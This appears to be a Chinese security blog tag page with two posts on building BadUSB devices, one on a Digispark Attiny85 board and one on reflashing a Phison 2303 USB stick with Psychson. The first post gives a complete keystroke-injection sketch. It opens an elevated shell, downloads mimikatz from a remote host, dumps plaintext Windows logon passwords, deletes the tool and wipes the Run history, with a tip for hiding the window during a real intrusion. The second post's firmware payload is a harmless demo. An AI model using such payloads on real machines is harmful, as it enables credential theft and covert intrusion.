The result of tag: (2 results)

基于 Attiny 85 开发板的 BadUSB 攻击实战

by LauCyun Jul 05,2018 15:16:31 32,828 views

在《利用Phison 2303 (2251-03)的主控U盘制作BadUSB》中介绍了如何利用群联的主控U盘制作一个BadUSB,那么现在将介绍如何基于 Attiny 85 开发板制作一个 BadUSB 。


图1 Attiny 85开发板(来源于:互联网

图1就是Attiny 85开发板,目前某宝的售价在10块钱左右,某宝的传送门

Digispark是一个基于Attiny 85微控制器的USB开发板,体积小价格便宜。代码与Arduino类似,可使用Arduino IDE来开发。

0x01 环境

环境如下:

  • 开发板:Attiny 85
  • 开发环境:
    • 系统:Windows 10 x64
    • 驱动:Digistump 1.6.7
    • IDE:Arduino IDE 1.8.4
  • 实验环境:
    • 系统:Windows 7 x64、Windows 10 1803

1 安装驱动

当第一次插入这个设备到电脑上的时候,电脑系统会自动进行安装驱动程序,如果安装失败,请自行点击下面的网址进行下载并安装!

驱动传送门(目前最新版本是1.6.7):https://github.com/digistump/DigistumpArduino/releases/download/1.6.7/Digistump.Drivers.zip

解压后,运行Install Drivers.exe(如图2所示),进行安装。


图2 驱动文件

2 安装Arduino IDE

用什么工具对其进行代码编写?推荐使用Arduino IDE。到Arduino官方网站进行下载安装

下载传送门(目前版本是1.8.4):https://www.arduino.cc/en/Main/Software?setlang=en

3 配置Arduino IDE

安装好IDE后,打开并按照图3设置开发板的管理器:


图3 首选项


图4 配置附加开发板管理器网址

在图4中的附加开发板管理器网址设置为:http://digistump.com/package_digistump_index.json

然后,按照图5步骤打开开发板管理器:


图5 开发板管理器

选择Digistump AVR Boards by Digistump,点击安装,如图6所示,安装完成后就如图7所示。


图6 安装Digistump AVR


图7 Digistump AVR已安装

最后,就是选择要开发的开发板环境,如图8所示:


图8 选择开发板环境

Ok,驱动和开发环境都安装完成了,接下就是测试一下环境咯~~

0x02 抛砖引玉

关于的Digispark的Payload,可以参考甚至修改它的keyboard库文件:https://github.com/BesoBerlin/DigiKeyboard_DE/blob/master/DigiKeyboard.h

说到BadUSB的Payload,就不得不提到hak5的USB-Rubber-Ducky的https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Payloads,应该是目前BadUSB里面Payload最全的了,如果你懒得写,可以直接使用USB-Rubber-Ducky的Payload翻译脚本https://github.com/toxydose/Duckyspark

当然,我还是建议自己来改DigiKeyboard.h文件和Payload。

这里给出我的Payload,代码如下:

#include "DigiKeyboard.h"
void setup() {
  // put your setup code here, to run once:
  DigiKeyboard.delay(2000);  // 开机延迟两秒钟,用于系统识别Digispark
  DigiKeyboard.sendKeyStroke(0);
  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);  // 按R和win键,打开运行
  DigiKeyboard.delay(100);
  DigiKeyboard.sendKeyPress(MOD_SHIFT_LEFT);  // 按住左SHIFT,绕过输入法
  DigiKeyboard.println("calc");
  DigiKeyboard.sendKeyPress(0);  // 松开
  DigiKeyboard.sendKeyStroke(KEY_ENTER);  // 按回车
  DigiKeyboard.delay(2000);
}

void loop() {
  // put your main code here, to run repeatedly:

}

上面的代码是当插入Attiny 85开发板2秒左右,自动打开计算器。

上面的代码只是简单的演示,具体实现什么功能,自己自行编写吧。可以借助Automator工具辅助编写,传送门:https://github.com/CYRO4S/Automator

代码写完后,为了防止代码出错,可以先编译一下,如图9所示:


图9 编译代码

编译完后,就会提示一些信息,如图10所示:


图10 编译完成

接下来就是把代码上传到开发板中,如图11所示:


图11 上传代码到硬件

当点击上传按钮之后,等待下面的信息出现图11提示时,如果你已经插入Attiny 85开发板,请拔下来再插回去。如果之前没有插入,那么要在60秒内插入。

Ok,现在插入开发板,等待一会即可上传完成,如图12所示:


图12 代码已上传到硬件

如果看到图12的信息,则代码上传成功,上传完成后,会自动执行你所编写的代码!

如果需要对Attiny 85开发板进行重写开发,重新编写代码,或者修改代码。建议先把Attiny 85开发板拔出,先把代码写好,点击上传,等提示:Plug in device now... (will timeout in 60 seconds),再把设备插入即可!

重点来了,最后就是测试一下效果啦~~把Attiny 85开发板拔出,然后插入,即可看到如图13所示:


图13 演示打开calc

说明,咱们的驱动、开发环境都没问题了!下面就是实战了~

0x03 实战——获取Windows明文密码

实战思路:通过下载、运行Mimikatz从Windows系统内存中提取明文密码。

其思想参考USB-Rubber-Ducky的Payload mimikatz payload · hak5darren/USB-Rubber-Ducky Wiki · GitHub

具体实战代码如下:

#include "DigiKeyboard.h"

void setup() {
  // put your setup code here, to run once:
  DigiKeyboard.delay(3000); // 开机延迟3秒钟,用于系统识别Digispark
  DigiKeyboard.sendKeyStroke(0);
  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); // 按R和win键,打开运行
  DigiKeyboard.delay(100);
  // 以管理员身份开启CMD窗口
  DigiKeyboard.sendKeyPress(MOD_SHIFT_LEFT);  // 按住左SHIFT,绕过输入法
  DigiKeyboard.println("powershell Start-Process cmd -Verb runAs");
  DigiKeyboard.sendKeyPress(0);               // 松开
  DigiKeyboard.sendKeyStroke(KEY_ENTER);      // 按回车
  DigiKeyboard.delay(3000);
  DigiKeyboard.sendKeyStroke(KEY_Y, MOD_ALT_LEFT);
  DigiKeyboard.delay(1000);
  // 下载Mimikatz
  DigiKeyboard.sendKeyPress(MOD_SHIFT_LEFT);
  DigiKeyboard.println("powershell if ([System.IntPtr]::Size -eq 4){(new-object System.Net.WebClient).DownloadFile('https://git.laucyun.com/myweb/blog-files/raw/master/mimikatz/x86/mimikatz.exe','C:\\pw.exe');}else{(new-object System.Net.WebClient).DownloadFile('https://git.laucyun.com/myweb/blog-files/raw/master/mimikatz/x64/mimikatz.exe','C:\\pw.exe');}");
  DigiKeyboard.sendKeyPress(0);
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(5000);
  // 运行Mimikatz
  DigiKeyboard.sendKeyPress(MOD_SHIFT_LEFT);
  DigiKeyboard.println("C:\\pw.exe > C:\\pwlog.txt");
  DigiKeyboard.delay(1000);
  DigiKeyboard.sendKeyPress(MOD_SHIFT_LEFT);
  DigiKeyboard.println("privilege::debug");  // 执行privilege::debug命令
  DigiKeyboard.sendKeyPress(0);
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyPress(MOD_SHIFT_LEFT);
  DigiKeyboard.println("sekurlsa::logonPasswords full"); // 执行sekurlsa::logonpasswords命令
  DigiKeyboard.sendKeyPress(0);
  DigiKeyboard.delay(1000);
  DigiKeyboard.sendKeyPress(MOD_SHIFT_LEFT);
  DigiKeyboard.println("exit");
  DigiKeyboard.sendKeyPress(0);
  DigiKeyboard.delay(300);
  // 删除Mimikatz
  DigiKeyboard.sendKeyPress(MOD_SHIFT_LEFT);
  DigiKeyboard.println("DEL C:\\pw.exe");
  DigiKeyboard.sendKeyPress(0);
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(300);
  // 利用注册表清除`开始->运行`的记录
  DigiKeyboard.sendKeyPress(MOD_SHIFT_LEFT);
  DigiKeyboard.println("reg delete HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU /f");
  DigiKeyboard.sendKeyPress(0);
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(500);
  // 退出CMD窗口,并打开文件
  DigiKeyboard.sendKeyPress(MOD_SHIFT_LEFT);
  DigiKeyboard.println("notepad C:\\pwlog.txt && exit");
  DigiKeyboard.sendKeyPress(0);
  DigiKeyboard.delay(500);
}

void loop() {
  // put your main code here, to run repeatedly:

}

通过编译、上传到开发板Attiny 85中,是不是蠢蠢欲动angry

为了演示效果,上面代码并未隐藏CMD窗口。实际渗透中,可以将cmd替换为cmd /T:01 /K mode CON: COLS=16 LINES=1

在Windows 7中的效果如下图14所示:


图14 实战

Ok,已成功获取到Windows明文密码~

0x04 参考

...

Tags Read More


利用Phison 2303 (2251-03)的主控U盘制作BadUSB

by LauCyun Apr 19,2018 01:39:38 30,917 views

在2014年美国Black Heart上,柏林SRLabs的安全研究人员JakobLell和独立安全研究人员Karsten Nohl展示了他们称为BadUSB的攻击方法,这种攻击方法让USB安全和几乎所有和USB相关的设备(包括具有USB端口的电脑)都陷入相当危险的状态。

0x00 背景

BadUSB的原理介绍,请移步至www.freebuf.com/articles/terminal/53886.html

从而得知,BadUSB最可怕的一点是恶意代码存在于U盘的固件中,由于PC上的杀毒软件无法访问到U盘存放固件的区域,因此也就意味着杀毒软件和U盘格式化都无法应对BadUSB进行攻击。

那么,要制作BadUSB有两个核心:

  • 能为USB设备编写相应的固件
  • 能将编写的固件烧录到USB设备中

要编写相应的固件就需要掌握USB设备中微控制器(或者说芯片)的指令规范文档(如果Intel不提供开发文档,那么除了Intel自己没有人能为Intel处理器编写程序)。而要将固件烧录到USB设备中,要么使用相应的硬件编程器,要么就需要USB设备本身已经存在的Bootloader来辅助进行烧录工作(Bootloader是USB设备厂商在生产时就放在USB设备中的,网上某些优盘的优盘量产工具也是从厂商流出的,而不是第三方编写的)。要同时满足两个核心条件比较难的,即便是JakobLell和Karsten Nohl公布的BadUSB利用代码也是针对满足一定条件的优盘。

0x01 准备

上面,要同时满足两个核心条件比较难的,BadUSB现在有很多成熟的产品(USB RUBBER DUCKY、烧鹅、等),但是他们要么贵、要么买不着,所以用Psychson来制作BadUSB。

Psychson只支持Phison 2303 (2251-03)的芯片的U盘,具体如下:

  • Kingston DataTraveler 3.0 T111 8GB
  • Silicon power marvel M60 64GB
  • Toshiba TransMemory-MX™ Black 16 GB
  • Patriot Stellar 64 Gb Phison
  • Silicon Power32G
  • Sandisk Ultra 16GB USB 3.0

OK,开始准备如下:

先用检测工具(Flash Drive Information Extractor v9.0.0.612)检查一下U盘的主控是否为Phison 2303 (2251-03),如图2所示:


图2 U盘信息

0x02 制作

1. 编译Psychson

用VS2012编译Psychson\DriveComPsychson\EmbedPayloadPsychson\Injector,如图3所示:


图3 编译生成Psychson


图4 编译DriveCom成功

当看到图4即为编译成功,全部编译完成后,工具会自动生成在tools目录下,如图5所示:


图5 Psychson工具

2. 准备攻击Payload

https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Payloads获取到需要使用的攻击命令,这里使用的是Payload - Hello World

DELAY 3000
GUI r
DELAY 500
STRING notepad
DELAY 500
ENTER
DELAY 750
STRING Hello World!!!
ENTER

使用USB-Rubber-Ducky中的Encoder\encoder.jar加工成.bin文件,命令如下:

java -jar ..\USB-Rubber-Ducky\Encoder\encoder.jar -i injector.txt -o injector.bin


图6 Encoder Payload

3. 嵌入Payload至固件

先执行Psychson\firmware中的build.bat编译生成FW固件,如图7所示:


图7 生成固件

执行完后,会在firmware生成bin文件夹,如图8所示:


图8 生成的固件

然后将攻击Payloadinjector.bin嵌入到firmware\bin\fw.bin中,命令如下:

tools\EmbedPayload.exe injector.bin firmware\bin\fw.bin


图9 将攻击Payload嵌入固件

哦对了,还得解压firmware_ps2251-03.rar,把BN03V104M.BIN拷贝至Psychson目录下。

4. 备份固件

在写入之前,先备份一下U盘的固件,命令如下:

tools\DriveCom.exe /drive=D /action=SetBootMode # 设置U盘的BOOT模式
tools\DriveCom.exe /drive=D /action=SendExecutable /burner=BN03V104M.BIN
tools\DriveCom.exe /drive=D /action=DumpFirmware /burner=BN03V104M.BIN /firmware=fw-backup.bin # 刷入固件跟载荷


图10 备份固件

如果U盘的指示灯将亮起并保持亮起,则说明进入BOOT模式。

如果从软件进入不了BOOT模式,则可以拆开U盘使用短接(短接小圆点斜对面的针脚2和3)的办法来设置(在插入U盘时),如图11所示:

图11 从硬件进入BOOT模式

ok,万事具备,只欠写入了~~

5. 写入固件

写入固件的命令如下:

tools\DriveCom.exe /drive=D /action=SetBootMode
tools\DriveCom.exe /drive=D /action=SendExecutable /burner=BN03V104M.BIN
tools\DriveCom.exe /drive=D /action=SendFirmware /burner=BN03V104M.BIN /firmware=firmware\bin\fw.bin


图12 写入固件

这样咱们的邪恶小U盘就制作完成了~~

0x03 恢复出厂固件

如果你已经刷坏,请先在不插电脑时短接住芯片上圆点斜对面的最外两个针脚,然后使用MPALL工具重写刷一遍备份固件就恢复U盘了。

具体可以参考:http://www.usbdev.ru/articles/a_phison/mpall-repair

下载和解压Phison_MPALL_v3.63.0D_for_Netac.rar,请先在不插电脑时短接住芯片上圆点斜对面的最外两个针脚,然后启动MPALL_F1_EC00_v363_0D.exe,如图13所示:


图13  MPALL界面

如果没显示,多点几次Update按钮。

然后点击Setting按钮进行设置,如图14所示:


图14 MPALL设置类型

在出现的“Setting Type”窗口中,选择Basic Setting > Load Last Setting,然后单击OK

接下来就是设置恢复固件的信息了,具体如图15所示:


图15 设置恢复固件信息

其中,Burner File 推荐使用BN03V104.BIN,Fireware File推荐使用FW03FF01V10053M.BIN

保存后,点击Start即可开始恢复固件了,其过程如图16所示:


图16 恢复固件

几分钟后,恢复完毕~~又变成了一个正常的U盘了,可以继续搞事情啦~~

0x04 演示

最后,来测试一下刚才制作的BadUSB,如图17所示:


图17 演示BadUSB

OK,利用Phison 2303 (2251-03)的主控U盘制作BadUSB就介绍完了~~

小伙子们,开始躁动起来吧~~

0x05 参考

...

Tags Read More